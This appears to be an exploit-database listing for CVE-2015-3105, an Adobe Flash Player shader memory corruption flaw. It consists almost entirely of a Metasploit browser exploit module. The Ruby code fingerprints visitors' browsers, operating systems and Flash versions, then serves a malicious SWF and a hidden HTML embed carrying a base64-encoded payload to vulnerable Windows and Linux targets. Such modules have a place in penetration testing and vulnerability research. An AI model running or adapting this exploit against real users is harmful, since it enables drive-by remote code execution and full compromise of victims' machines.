Adobe Flash Player Drawing Fill Shader Memory Corruption

2015.06.27
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player Drawing Fill Shader Memory Corruption', 'Description' => %q{ This module exploits a memory corruption happening when applying a Shader as a drawing fill as exploited in the wild on June 2015. This module has been tested successfully on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.188, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.188, Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.188, and Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.460. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Evans', # Vulnerability discovery 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-3105'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-11.html'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/magnitude-exploit-kit-uses-newly-patched-adobe-vulnerability-us-canada-and-uk-are-most-at-risk/'], ['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3105-flash-up-to-1700188-and.html'], ['URL', 'http://help.adobe.com/en_US/as3/dev/WSFDA04BAE-F6BC-43d9-BD9C-08D39CA22086.html'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => ['win', 'linux'], 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF when 'Linux' return true if ua == Msf::HttpClients::FF end false end, :flash => lambda do |ver| case target.name when 'Windows' return true if ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.188') when 'Linux' return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.460') end false end }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ], [ 'Linux', { 'Platform' => 'linux' } ] ], 'Privileged' => false, 'DisclosureDate' => 'May 12 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] if target.name =~ /Windows/ platform_id = 'win' elsif target.name =~ /Linux/ platform_id = 'linux' end html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3105', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end


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